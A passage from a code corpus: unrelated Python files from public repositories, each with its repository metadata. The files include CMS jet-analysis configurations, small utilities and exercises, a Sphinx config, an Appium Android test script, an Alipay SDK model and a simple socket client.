cms.InputTag("akFilter2PFPatJetFlavourAssociation"), trackAssociationSource = cms.InputTag("akFilter2PFJetTracksAssociatorAtVertex"), useLegacyJetMCFlavour = True, discriminatorSources = cms.VInputTag(cms.InputTag("akFilter2PFSimpleSecondaryVertexHighEffBJetTags"), cms.InputTag("akFilter2PFSimpleSecondaryVertexHighPurBJetTags"), cms.InputTag("akFilter2PFCombinedSecondaryVertexBJetTags"), cms.InputTag("akFilter2PFCombinedSecondaryVertexV2BJetTags"), cms.InputTag("akFilter2PFJetBProbabilityBJetTags"), cms.InputTag("akFilter2PFJetProbabilityBJetTags"), #cms.InputTag("akFilter2PFSoftPFMuonByPtBJetTags"), #cms.InputTag("akFilter2PFSoftPFMuonByIP3dBJetTags"), cms.InputTag("akFilter2PFTrackCountingHighEffBJetTags"), cms.InputTag("akFilter2PFTrackCountingHighPurBJetTags"), ), jetIDMap = cms.InputTag("akFilter2PFJetID"), addBTagInfo = True, addTagInfos = True, addDiscriminators = True, addAssociatedTracks = True, addJetCharge = False, addJetID = False, getJetMCFlavour = False, addGenPartonMatch = False, addGenJetMatch = False, embedGenJetMatch = False, embedGenPartonMatch = False, # embedCaloTowers = False, # embedPFCandidates = True ) akFilter2PFNjettiness = Njettiness.clone( src = cms.InputTag("akFilter2PFJets"), R0 = cms.double( 0.2) ) akFilter2PFpatJetsWithBtagging.userData.userFloats.src += ['akFilter2PFNjettiness:tau1','akFilter2PFNjettiness:tau2','akFilter2PFNjettiness:tau3'] akFilter2PFJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("akFilter2PFpatJetsWithBtagging"), genjetTag = 'ak2HiGenJets', rParam = 0.2, matchJets = cms.untracked.bool(False), matchTag = 'patJetsWithBtagging', pfCandidateLabel = cms.untracked.InputTag('particleFlowTmp'), trackTag = cms.InputTag("hiGeneralTracks"), fillGenJets = False, isMC = False, doSubEvent = False, useHepMC = cms.untracked.bool(False), genParticles = cms.untracked.InputTag("genParticles"), eventInfoTag = cms.InputTag("generator"), doLifeTimeTagging = cms.untracked.bool(True), doLifeTimeTaggingExtras = cms.untracked.bool(False), bTagJetName = cms.untracked.string("akFilter2PF"), jetName = cms.untracked.string("akFilter2PF"), genPtMin = cms.untracked.double(5), hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL'), doTower = cms.untracked.bool(True), doSubJets = cms.untracked.bool(True), doGenSubJets = cms.untracked.bool(False), subjetGenTag = cms.untracked.InputTag("akFilter2GenJets"), doGenTaus = False ) akFilter2PFJetSequence_mc = cms.Sequence( #akFilter2PFclean #* akFilter2PFmatch #* #akFilter2PFmatchGroomed * akFilter2PFparton * akFilter2PFcorr * #akFilter2PFJetID #* akFilter2PFPatJetFlavourIdLegacy #* #akFilter2PFPatJetFlavourId # Use legacy algo till PU implemented * akFilter2PFJetTracksAssociatorAtVertex * akFilter2PFJetBtagging * akFilter2PFNjettiness * akFilter2PFpatJetsWithBtagging * akFilter2PFJetAnalyzer ) akFilter2PFJetSequence_data = cms.Sequence(akFilter2PFcorr * #akFilter2PFJetID #* akFilter2PFJetTracksAssociatorAtVertex * akFilter2PFJetBtagging * akFilter2PFNjettiness * akFilter2PFpatJetsWithBtagging * akFilter2PFJetAnalyzer ) akFilter2PFJetSequence_jec = cms.Sequence(akFilter2PFJetSequence_mc) akFilter2PFJetSequence_mb = cms.Sequence(akFilter2PFJetSequence_mc) akFilter2PFJetSequence = cms.Sequence(akFilter2PFJetSequence_data)

[ "rchudasa@cern.ch" ]

rchudasa@cern.ch

148ee2aa423bec48565132b2a7ea8db0853d712d

be6b8e5f65ab1e86e72d4a70a6bcfe0891458df1

/sigfig.py

3bdf3596edba9f1336625991197baeb64b8616c7

[]

no_license

annayqho/papers

c406185485ef447b4aebf0d37011e79ef4f872fb

527bab334f118e77eeb028ed1a787be3b887724c

refs/heads/master

2021-07-10T05:18:47.134685

2017-10-12T02:38:32

100,283,607

0

null

UTF-8

Python

false

499

py

import numpy as np from math import log10, floor def round_sig(x, sig=2): if x == 0: return 0 elif x < 0: return -round(-x, sig-int(floor(log10(-x)))-1) return round(x, sig-int(floor(log10(x)))-1) def ndec(num): dec = str(num).split('.')[-1] return len(dec) def format_val(val, sig): valrd = round_sig(val, 2) sigrd = np.round(sig, ndec(valrd)) val_str = str(valrd) + "$\pm$" + str(sigrd) if val < 0: val_str = "" return val_str

[ "annayqho@gmail.com" ]

annayqho@gmail.com

96a9a0075629c44cfce0d3f9471369f36b35ffd9

238e46a903cf7fac4f83fa8681094bf3c417d22d

/VTK/vtk_7.1.1_x64_Release/lib/python2.7/site-packages/twisted/pair/_version.py

6203753e169cead8711dc820254d774becccc3be

[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference", "MIT" ]

permissive

baojunli/FastCAE

da1277f90e584084d461590a3699b941d8c4030b

a3f99f6402da564df87fcef30674ce5f44379962

refs/heads/master

2023-02-25T20:25:31.815729

2021-02-01T03:17:33

268,390,180

1

0

BSD-3-Clause

2020-06-01T00:39:31

null

UTF-8

Python

false

271

py

# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. # This is an auto-generated file. Do not edit it. """ Provides Twisted version information. """ from twisted.python import versions version = versions.Version('twisted.pair', 14, 0, 0)

[ "l”ibaojunqd@foxmail.com“" ]

l”ibaojunqd@foxmail.com“

ad05a82658610e10819bc5ab5fb7c68d5f100362

ff6248be9573caec94bea0fa2b1e4b6bf0aa682b

/raw_scripts/132.230.102.123-10.21.12.20/1569576510.py

641aacf6e240b35309990accd5d2be629609eef6

[]

no_license

LennartElbe/codeEvo

0e41b1a7705204e934ef71a5a28c047366c10f71

e89b329bc9edd37d5d9986f07ca8a63d50686882

refs/heads/master

2020-12-21T17:28:25.150352

2020-03-26T10:22:35

236,498,032

0

null

UTF-8

Python

false

4,019

py

import functools import typing import string import random import pytest ## Lösung Teile 1. und 2. class Vigenere: def __init__(self, keyword, encrypt, decrypt): self.key = key self.encrypt = encrypt self.decrypt = decrypt def encrypt(x : str): return x.upper def decrypt(y : str): return y.upper ###################################################################### ## hidden code def mk_coverage(): covered = set() target = set(range(6)) count = 0 def coverage(func): nonlocal covered, target, count def wrapper(key): nonlocal covered, count if key == "A": covered.add(0) elif key != "": covered.add(1) if len (key) > 1: covered.add(2) if key == key[0] * len (key): covered.add(4) else: covered.add(5) if len (key) > 2: covered.add (3) r = func (key) count += 1 return r if func == "achieved": return len(covered) if func == "required": return len(target) if func == "count" : return count functools.update_wrapper (wrapper, func) return wrapper return coverage coverage = mk_coverage () try: Vigenere = coverage (Vigenere) except: pass ## Lösung Teil 3. (Tests) ###################################################################### ## hidden tests pytest.main (["-v", "--assert=plain", "-p", "no:cacheprovider"]) from inspect import getfullargspec class TestNames: def test_Vigenere (self): assert Vigenere def test_encrypt(self): assert Vigenere.encrypt assert 'w' in getfullargspec(Vigenere.encrypt).args def test_decrypt(self): assert Vigenere.decrypt assert 'w' in getfullargspec(Vigenere.decrypt).args class TestGrades: def test_coverage(self): assert coverage("achieved") == coverage("required") def test_Vigenere_is_a_class(self): assert "class" in repr (Vigenere.__wrapped__) def test_docstring_present(self): assert Vigenere.__doc__ is not None assert Vigenere.encrypt.__doc__ is not None assert Vigenere.decrypt.__doc__ is not None def test_empty_key (self): with pytest.raises (Exception): assert Vigenere ("") def test_has_key(self): k = "asfdg" v = Vigenere(k) assert v.key == k def test_has_methods(self): v = Vigenere("") assert v.encrypt assert v.decrypt def test_identity(self): charset = string.ascii_uppercase v = Vigenere ("A") for i in range (100): s = ''.join(random.choice (charset) for j in range (100)) assert v.encrypt(s) == s assert v.decrypt(s) == s def test_inverses(self): charset = string.ascii_uppercase for i in range (100): k = ''.join(random.choice (charset) for j in range (random.randrange (1,20))) v = Vigenere (k) for n in range (10): s = ''.join(random.choice (charset) for j in range (100)) assert v.decrypt(v.encrypt(s)) == s def test_shift (self): charset = string.ascii_uppercase for i in range (100): k = random.choice (charset) ok = ord (k) - ord ('A') v = Vigenere (k * random.randrange (1, 100)) s = ''.join(random.choice (charset) for j in range (100)) se = v.encrypt (s) assert len (se) == len (s) for x, xe in zip (s, se): d = (26 + ord (xe) - ord (x)) % 26 assert d == ok sd = v.decrypt (s) assert len (sd) == len (s) for x, xd in zip (s, sd): d = (26 + ord (x) - ord (xd)) % 26 assert d == ok

[ "lenni.elbe@gmail.com" ]

lenni.elbe@gmail.com

232499e5789d32aef85d5d3d8bef8407bdaa9cb7

ae672becf06e084728388e2ca1fb72ca786336d2

/chapter_08/exercise_8_4.py

5c3ca3fe1e715841932ad35f802661267a72ad24

[]

no_license

kexiaojiu/python_based_programming

d9631ba3aa0636d9b01020a7711834ba15d4843c

bd497479037856de6ef5852902e3352afb5c7cc9

refs/heads/master

2018-10-04T22:37:11.908957

2018-08-07T13:54:44

116,146,067

0

null

UTF-8

Python

false

233

py

#!/usr/bin/env python3 def make_shirt(size, text='I love Python'): print("The size of the shirt is " + str(size) + " ,and it's text is " + text + "." ) make_shirt('big') make_shirt('middle') make_shirt('small', 'I love China')

[ "kexiaojiu@163.com" ]

kexiaojiu@163.com

7cf38f77e6652d444241e8aa1a1c3c5a15945497

1872b89ba17a08db60d58551f073a6b4e0d31a50

/instrument_server/commands/command_parser.py

ea64dcc7971e724d84b863439d90b5abc4ba6f33

[ "LicenseRef-scancode-warranty-disclaimer" ]

no_license

Terrabits/instrument-server

f6e4c40d8e9835ada150dc0a8245024505d0a7d7

a4950099410ac81b37516aeefcc6072d9865ba4e

refs/heads/master

2022-05-28T01:27:25.051729

2022-04-29T22:53:39

189,175,077

2

0

null

UTF-8

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false

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py

from .mixins import RaiseErrorMixin import re class CommandParser(RaiseErrorMixin): def __init__(self, command, args={}): RaiseErrorMixin.__init__(self) self.command = command self.args = args def is_match(self, command_bytes): regex = f'^{self.command}\\s*'.replace('?', r'\?').encode() matches = re.match(regex, command_bytes) return matches is not None def parse_args(self, command_bytes): values = command_bytes.strip().split()[1:] if len(values) < len(self.args): self.raise_error('too few arguments') if len(values) > len(self.args): self.raise_error('too many arguments') args = {} for name, type, value in zip(self.args.keys(), self.args.values(), values): if type: try: # type(arg), catch Exception typed_value = type(value) except Exception: self.raise_error(f"'{value}' could not be converted to {type}") args[name] = typed_value else: # decode bytes to str args[name] = value.decode() return args

[ "nick.lalic@gmail.com" ]

nick.lalic@gmail.com

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/docs/conf.py

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permissive

diamond0411/ndexncipidloader

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refs/heads/master

2020-06-13T19:09:19.466283

2019-07-16T16:30:23

194,761,167

1

NOASSERTION

2019-07-02T00:40:05

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#!/usr/bin/env python # -*- coding: utf-8 -*- # # ndexncipidloader documentation build configuration file, created by # sphinx-quickstart on Fri Jun 9 13:47:02 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another # directory, add these directories to sys.path here. If the directory is # relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. # import os import sys sys.path.insert(0, os.path.abspath('..')) import ndexncipidloader # -- General configuration --------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = u'NDEx NCI-PID content loader' copyright = u"2019, Chris Churas" author = u"Chris Churas" # The version info for the project you're documenting, acts as replacement # for |version| and |release|, also used in various other places throughout # the built documents. # # The short X.Y version. version = ndexncipidloader.__version__ # The full version, including alpha/beta/rc tags. release = ndexncipidloader.__version__ # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'alabaster' # Theme options are theme-specific and customize the look and feel of a # theme further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # -- Options for HTMLHelp output --------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'ndexncipidloaderdoc' # -- Options for LaTeX output ------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass # [howto, manual, or own class]). latex_documents = [ (master_doc, 'ndexncipidloader.tex', u'NDEx NCI-PID content loader Documentation', u'Chris Churas', 'manual'), ] # -- Options for manual page output ------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'ndexncipidloader', u'NDEx NCI-PID content loader Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'ndexncipidloader', u'NDEx NCI-PID content loader Documentation', author, 'ndexncipidloader', 'One line description of project.', 'Miscellaneous'), ]

[ "churas.camera@gmail.com" ]

churas.camera@gmail.com

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/demo/assignments/unique_chars_2.py

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[]

no_license

srikanthpragada/python_14_dec_2020

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refs/heads/master

2023-02-24T17:41:41.807841

2021-02-01T02:17:40

322,155,634

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null

UTF-8

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py

chars = set() names = ['Bob', 'Joe', 'John', 'Scott', 'Joseph'] for name in names: chars |= set(name) print(chars)

[ "srikanthpragada@gmail.com" ]

srikanthpragada@gmail.com

f12bc2202d1d785c55b97d61b4bdb753af43f43f

1e84a9fec36deaf9a55a2734749ea035f72ac869

/KAKAO BLIND RECRUITMENT/2018/1차/오픈채팅방/다시풀기.py

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[]

no_license

mgh3326/programmers_algorithm

aa3afc91231550e1fec2d72d90e85b140f79d677

b62f08ccccbdcac71e484d508985a5a9ce5f2434

refs/heads/master

2022-08-31T04:19:15.728666

2022-07-31T14:02:26

201,747,526

0

null

2022-07-23T10:19:13

2019-08-11T10:02:15

Python

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Python

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965

py

def solution(record): answer = [] user_name_dict = {} saved_list = [] for record_value in record: split = record_value.split() if split[0] == "Enter": user_name_dict[split[1]] = split[2] saved_list.append([split[1], split[0]]) elif split[0] == "Leave": saved_list.append([split[1], split[0]]) elif split[0] == "Change": user_name_dict[split[1]] = split[2] for saved in saved_list: out_str = "" user_id, enter_or_leave = saved user_name = user_name_dict[user_id] out_str += user_name if enter_or_leave == "Enter": out_str += "님이 들어왔습니다." else: out_str += "님이 나갔습니다." answer.append(out_str) return answer print( solution( ["Enter uid1234 Muzi", "Enter uid4567 Prodo", "Leave uid1234", "Enter uid1234 Prodo", "Change uid4567 Ryan"] ) )

[ "mgh3326@naver.com" ]

mgh3326@naver.com

c516ca040b1f31279633585185cb1ab14a83e442

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/benchmark/alwayson/testcase/firstcases/testcase4_004.py

e62d569b14c06d34bfb7f2fe84d450b7f3e68484

[]

no_license

Prefest2018/Prefest

c374d0441d714fb90fca40226fe2875b41cf37fc

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refs/heads/master

2021-12-09T19:36:24.554864

2021-12-06T12:46:14

173,225,161

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UTF-8

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py

#coding=utf-8 import os import subprocess import time import traceback from appium import webdriver from appium.webdriver.common.touch_action import TouchAction from selenium.common.exceptions import NoSuchElementException, WebDriverException desired_caps = { 'platformName' : 'Android', 'deviceName' : 'Android Emulator', 'platformVersion' : '4.4', 'appPackage' : 'com.tomer.alwayson', 'appActivity' : 'com.tomer.alwayson.activities.PreferencesActivity', 'resetKeyboard' : True, 'androidCoverage' : 'com.tomer.alwayson/com.tomer.alwayson.JacocoInstrumentation', 'noReset' : True } def command(cmd, timeout=5): p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True) time.sleep(timeout) p.terminate() return def getElememt(driver, str) : for i in range(0, 5, 1): try: element = driver.find_element_by_android_uiautomator(str) except NoSuchElementException: time.sleep(1) else: return element os.popen("adb shell input tap 50 50") element = driver.find_element_by_android_uiautomator(str) return element def getElememtBack(driver, str1, str2) : for i in range(0, 2, 1): try: element = driver.find_element_by_android_uiautomator(str1) except NoSuchElementException: time.sleep(1) else: return element for i in range(0, 5, 1): try: element = driver.find_element_by_android_uiautomator(str2) except NoSuchElementException: time.sleep(1) else: return element os.popen("adb shell input tap 50 50") element = driver.find_element_by_android_uiautomator(str2) return element def swipe(driver, startxper, startyper, endxper, endyper) : size = driver.get_window_size() width = size["width"] height = size["height"] try: driver.swipe(start_x=int(width * startxper), start_y=int(height * startyper), end_x=int(width * endxper), end_y=int(height * endyper), duration=2000) except WebDriverException: time.sleep(1) driver.swipe(start_x=int(width * startxper), start_y=int(height * startyper), end_x=int(width * endxper), end_y=int(height * endyper), duration=2000) return # testcase004 try : starttime = time.time() driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps) element = getElememt(driver, "new UiSelector().resourceId(\"com.tomer.alwayson:id/preview\").className(\"android.widget.ImageButton\")") TouchAction(driver).tap(element).perform() element = getElememtBack(driver, "new UiSelector().text(\"Support The Development\")", "new UiSelector().className(\"android.widget.Button\")") TouchAction(driver).tap(element).perform() element = getElememt(driver, "new UiSelector().resourceId(\"com.android.browser:id/url\").className(\"android.widget.EditText\")") element.clear() element.send_keys("https://www.patreon.com/user?u=2966388"); except Exception, e: print 'FAIL' print 'str(e):\t\t', str(e) print 'repr(e):\t', repr(e) print traceback.format_exc() else: print 'OK' finally: cpackage = driver.current_package endtime = time.time() print 'consumed time:', str(endtime - starttime), 's' command("adb shell am broadcast -a com.example.pkg.END_EMMA --es name \"4_004\"") jacocotime = time.time() print 'jacoco time:', str(jacocotime - endtime), 's' driver.quit() if (cpackage != 'com.tomer.alwayson'): cpackage = "adb shell am force-stop " + cpackage os.popen(cpackage)

[ "prefest2018@gmail.com" ]

prefest2018@gmail.com

4985819f4fdae6c3a772431253a034ccb65fd50d

e7be538e812d499fd41e483313c486581ac8995c

/scripts/curate_cerebra_labels.py

2674e048eeed30c7b6f930f5f872efb99271aefc

[ "LicenseRef-scancode-other-permissive" ]

permissive

templateflow/tpl-MNI152NLin2009cSym

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69a5e68d2b276b1e46f701892ac630397f56a741

refs/heads/master

2022-01-24T16:36:35.462848

2022-01-04T19:34:59

253,858,504

0

1

null

UTF-8

Python

false

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py

import pandas as pd data = pd.read_csv('CerebrA_LabelDetails.csv') right = data.copy() left = data.copy() # Add hemisphere column right['hemi'] = 'R' left['hemi'] = 'L' # Reassign headers, drop opposite hemi column right = right.rename(columns={'Mindboggle ID': 'name', 'Label Name': 'label', 'RH Label': 'drop', 'LH LabelsNotes': 'notes', 'Dice Kappa': 'dice/kappa'}) left = left.rename(columns={'Mindboggle ID': 'name', 'Label Name': 'drop', 'RH Label': 'label', 'LH LabelsNotes': 'notes', 'Dice Kappa': 'dice/kappa'}) right = right.drop(columns=['drop']) left = left.drop(columns=['drop']) # Drop index left.index.name = 'mindboggle mapping' right.index.name = 'mindboggle mapping' left = left.reset_index() right = right.reset_index() # Merge L/R tables curated = pd.concat((right, left)).sort_values(by=['mindboggle mapping', 'hemi']) curated[['label', 'name', 'hemi', 'mindboggle mapping', 'dice/kappa', 'notes']].to_csv('tpl-MNI152NLin2009cSym_atlas-CerebA_dseg.tsv', sep='\t', na_rep='n/a', header=True, index=False)

[ "code@oscaresteban.es" ]

code@oscaresteban.es

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/tools/new-file.py

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[ "MIT" ]

permissive

full-stack-hero/snippet

f6f3f1c6e0a95398a4cfe088821b186512d5940e

9600c856c171d1296a151b4d654af0808980f939

refs/heads/master

2020-04-25T15:39:57.786782

2019-03-05T14:19:01

172,886,006

0

null

UTF-8

Python

false

379

py

import os import datetime title = input('Title: ') filename = datetime.datetime.now().strftime("%Y%m%d%H%M-") + title + '.py' url = f'https://github.com/full-stack-hero/snippet/blob/master/snippet/snippets/{filename}' print('Create new file', filename) with open(f'snippets/{filename}', 'w') as f: f.write(f'# :autor: @full.stack.hero\n') f.write(f'# :url: {url}\n\n')

[ "axel.juraske@short-report.de" ]

axel.juraske@short-report.de

7baad3a25f85335f80301e2a2cf89fbb9dbe4349

5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d

/alipay/aop/api/domain/AlipayEcoCityserviceCityserviceEnergySendModel.py

f8a6a8917786fd6a4f675b9c04236c7cbd3cb520

[ "Apache-2.0" ]

permissive

alipay/alipay-sdk-python-all

8bd20882852ffeb70a6e929038bf88ff1d1eff1c

1fad300587c9e7e099747305ba9077d4cd7afde9

refs/heads/master

2023-08-27T21:35:01.778771

2023-08-23T07:12:26

133,338,689

247

70

Apache-2.0

2023-04-25T04:54:02

2018-05-14T09:40:54

Python

UTF-8

Python

false

2,425

py

#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * from alipay.aop.api.domain.EnergyExtRequest import EnergyExtRequest class AlipayEcoCityserviceCityserviceEnergySendModel(object): def __init__(self): self._ext_info = None self._outer_no = None self._scene = None @property def ext_info(self): return self._ext_info @ext_info.setter def ext_info(self, value): if isinstance(value, list): self._ext_info = list() for i in value: if isinstance(i, EnergyExtRequest): self._ext_info.append(i) else: self._ext_info.append(EnergyExtRequest.from_alipay_dict(i)) @property def outer_no(self): return self._outer_no @outer_no.setter def outer_no(self, value): self._outer_no = value @property def scene(self): return self._scene @scene.setter def scene(self, value): self._scene = value def to_alipay_dict(self): params = dict() if self.ext_info: if isinstance(self.ext_info, list): for i in range(0, len(self.ext_info)): element = self.ext_info[i] if hasattr(element, 'to_alipay_dict'): self.ext_info[i] = element.to_alipay_dict() if hasattr(self.ext_info, 'to_alipay_dict'): params['ext_info'] = self.ext_info.to_alipay_dict() else: params['ext_info'] = self.ext_info if self.outer_no: if hasattr(self.outer_no, 'to_alipay_dict'): params['outer_no'] = self.outer_no.to_alipay_dict() else: params['outer_no'] = self.outer_no if self.scene: if hasattr(self.scene, 'to_alipay_dict'): params['scene'] = self.scene.to_alipay_dict() else: params['scene'] = self.scene return params @staticmethod def from_alipay_dict(d): if not d: return None o = AlipayEcoCityserviceCityserviceEnergySendModel() if 'ext_info' in d: o.ext_info = d['ext_info'] if 'outer_no' in d: o.outer_no = d['outer_no'] if 'scene' in d: o.scene = d['scene'] return o

[ "jiandong.jd@antfin.com" ]

jiandong.jd@antfin.com

b2dba4a290d39607a7b51c5620c166530d270fad

22b348a0d10519cb1f1da5e886fdf2d3c167cf5a

/myweb/test/coroutine_/client.py

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[]

no_license

liuluyang/openstack_mogan_study

dab0a8f918ffd17e0a747715998e81304672b75b

8624f765da7f5aa0c210f0fa945fc50cf8a67b9e

refs/heads/master

2021-01-19T17:03:15.370323

2018-04-12T09:50:38

101,040,396

1

null

2017-11-01T02:17:31

2017-08-22T08:30:22

Python

UTF-8

Python

false

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py

# -*- coding:utf-8 -*- from socket import * ADDR, PORT = 'localhost', 8001 client = socket(AF_INET,SOCK_STREAM) client.connect((ADDR, PORT)) while 1: cmd = raw_input('>>:').strip() if len(cmd) == 0: continue client.send(cmd) data = client.recv(1024) print data #print('Received', repr(data)) #client.close()

[ "1120773382@qq.com" ]

1120773382@qq.com

36db3029d152c25aa5180a8d9f6da3065fc2bb81

f31fda8014ecadf6af7d4e3392fb917c49e0352a

/HeavyIonsAnalysis/JetAnalysis/python/jets/akPuSoftDrop6CaloJetSequence_PbPb_mb_cff.py

54a4374e698b2f7c6feb0a96a2d96c43c489dd79

[]

no_license

jniedzie/lightbylight

acea5051f053c49824a49a0b78bac3a2247ee75f

f5a4661fcf3fd3c0e9ccd8893a46a238e30c2aa8

refs/heads/master

2020-03-18T12:24:31.970468

2018-02-09T15:50:00

134,724,759

0

1

null

2018-05-24T14:11:12

null

UTF-8

Python

false

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py

import FWCore.ParameterSet.Config as cms from HeavyIonsAnalysis.JetAnalysis.patHeavyIonSequences_cff import patJetGenJetMatch, patJetPartonMatch, patJetCorrFactors, patJets from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import * from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import * from RecoJets.JetProducers.JetIDParams_cfi import * from RecoJets.JetProducers.nJettinessAdder_cfi import Njettiness akPuSoftDrop6Calomatch = patJetGenJetMatch.clone( src = cms.InputTag("akPuSoftDrop6CaloJets"), matched = cms.InputTag("ak6HiCleanedGenJets"), resolveByMatchQuality = cms.bool(False), maxDeltaR = 0.6 ) akPuSoftDrop6CalomatchGroomed = patJetGenJetMatch.clone( src = cms.InputTag("akSoftDrop6HiGenJets"), matched = cms.InputTag("ak6HiCleanedGenJets"), resolveByMatchQuality = cms.bool(False), maxDeltaR = 0.6 ) akPuSoftDrop6Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akPuSoftDrop6CaloJets") ) akPuSoftDrop6Calocorr = patJetCorrFactors.clone( useNPV = cms.bool(False), useRho = cms.bool(False), # primaryVertices = cms.InputTag("hiSelectedVertex"), levels = cms.vstring('L2Relative','L3Absolute'), src = cms.InputTag("akPuSoftDrop6CaloJets"), payload = "AKPu6Calo_offline" ) akPuSoftDrop6CaloJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('akPuSoftDrop6CaloJets')) #akPuSoftDrop6Caloclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak6HiCleanedGenJets')) akPuSoftDrop6CalobTagger = bTaggers("akPuSoftDrop6Calo",0.6) #create objects locally since they dont load properly otherwise #akPuSoftDrop6Calomatch = akPuSoftDrop6CalobTagger.match akPuSoftDrop6Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akPuSoftDrop6CaloJets"), matched = cms.InputTag("selectedPartons")) akPuSoftDrop6CaloPatJetFlavourAssociationLegacy = akPuSoftDrop6CalobTagger.PatJetFlavourAssociationLegacy akPuSoftDrop6CaloPatJetPartons = akPuSoftDrop6CalobTagger.PatJetPartons akPuSoftDrop6CaloJetTracksAssociatorAtVertex = akPuSoftDrop6CalobTagger.JetTracksAssociatorAtVertex akPuSoftDrop6CaloJetTracksAssociatorAtVertex.tracks = cms.InputTag("highPurityTracks") akPuSoftDrop6CaloSimpleSecondaryVertexHighEffBJetTags = akPuSoftDrop6CalobTagger.SimpleSecondaryVertexHighEffBJetTags akPuSoftDrop6CaloSimpleSecondaryVertexHighPurBJetTags = akPuSoftDrop6CalobTagger.SimpleSecondaryVertexHighPurBJetTags akPuSoftDrop6CaloCombinedSecondaryVertexBJetTags = akPuSoftDrop6CalobTagger.CombinedSecondaryVertexBJetTags akPuSoftDrop6CaloCombinedSecondaryVertexV2BJetTags = akPuSoftDrop6CalobTagger.CombinedSecondaryVertexV2BJetTags akPuSoftDrop6CaloJetBProbabilityBJetTags = akPuSoftDrop6CalobTagger.JetBProbabilityBJetTags akPuSoftDrop6CaloSoftPFMuonByPtBJetTags = akPuSoftDrop6CalobTagger.SoftPFMuonByPtBJetTags akPuSoftDrop6CaloSoftPFMuonByIP3dBJetTags = akPuSoftDrop6CalobTagger.SoftPFMuonByIP3dBJetTags akPuSoftDrop6CaloTrackCountingHighEffBJetTags = akPuSoftDrop6CalobTagger.TrackCountingHighEffBJetTags akPuSoftDrop6CaloTrackCountingHighPurBJetTags = akPuSoftDrop6CalobTagger.TrackCountingHighPurBJetTags akPuSoftDrop6CaloPatJetPartonAssociationLegacy = akPuSoftDrop6CalobTagger.PatJetPartonAssociationLegacy akPuSoftDrop6CaloImpactParameterTagInfos = akPuSoftDrop6CalobTagger.ImpactParameterTagInfos akPuSoftDrop6CaloImpactParameterTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices") akPuSoftDrop6CaloJetProbabilityBJetTags = akPuSoftDrop6CalobTagger.JetProbabilityBJetTags akPuSoftDrop6CaloSecondaryVertexTagInfos = akPuSoftDrop6CalobTagger.SecondaryVertexTagInfos akPuSoftDrop6CaloSimpleSecondaryVertexHighEffBJetTags = akPuSoftDrop6CalobTagger.SimpleSecondaryVertexHighEffBJetTags akPuSoftDrop6CaloSimpleSecondaryVertexHighPurBJetTags = akPuSoftDrop6CalobTagger.SimpleSecondaryVertexHighPurBJetTags akPuSoftDrop6CaloCombinedSecondaryVertexBJetTags = akPuSoftDrop6CalobTagger.CombinedSecondaryVertexBJetTags akPuSoftDrop6CaloCombinedSecondaryVertexV2BJetTags = akPuSoftDrop6CalobTagger.CombinedSecondaryVertexV2BJetTags akPuSoftDrop6CaloSecondaryVertexNegativeTagInfos = akPuSoftDrop6CalobTagger.SecondaryVertexNegativeTagInfos akPuSoftDrop6CaloNegativeSimpleSecondaryVertexHighEffBJetTags = akPuSoftDrop6CalobTagger.NegativeSimpleSecondaryVertexHighEffBJetTags akPuSoftDrop6CaloNegativeSimpleSecondaryVertexHighPurBJetTags = akPuSoftDrop6CalobTagger.NegativeSimpleSecondaryVertexHighPurBJetTags akPuSoftDrop6CaloNegativeCombinedSecondaryVertexBJetTags = akPuSoftDrop6CalobTagger.NegativeCombinedSecondaryVertexBJetTags akPuSoftDrop6CaloPositiveCombinedSecondaryVertexBJetTags = 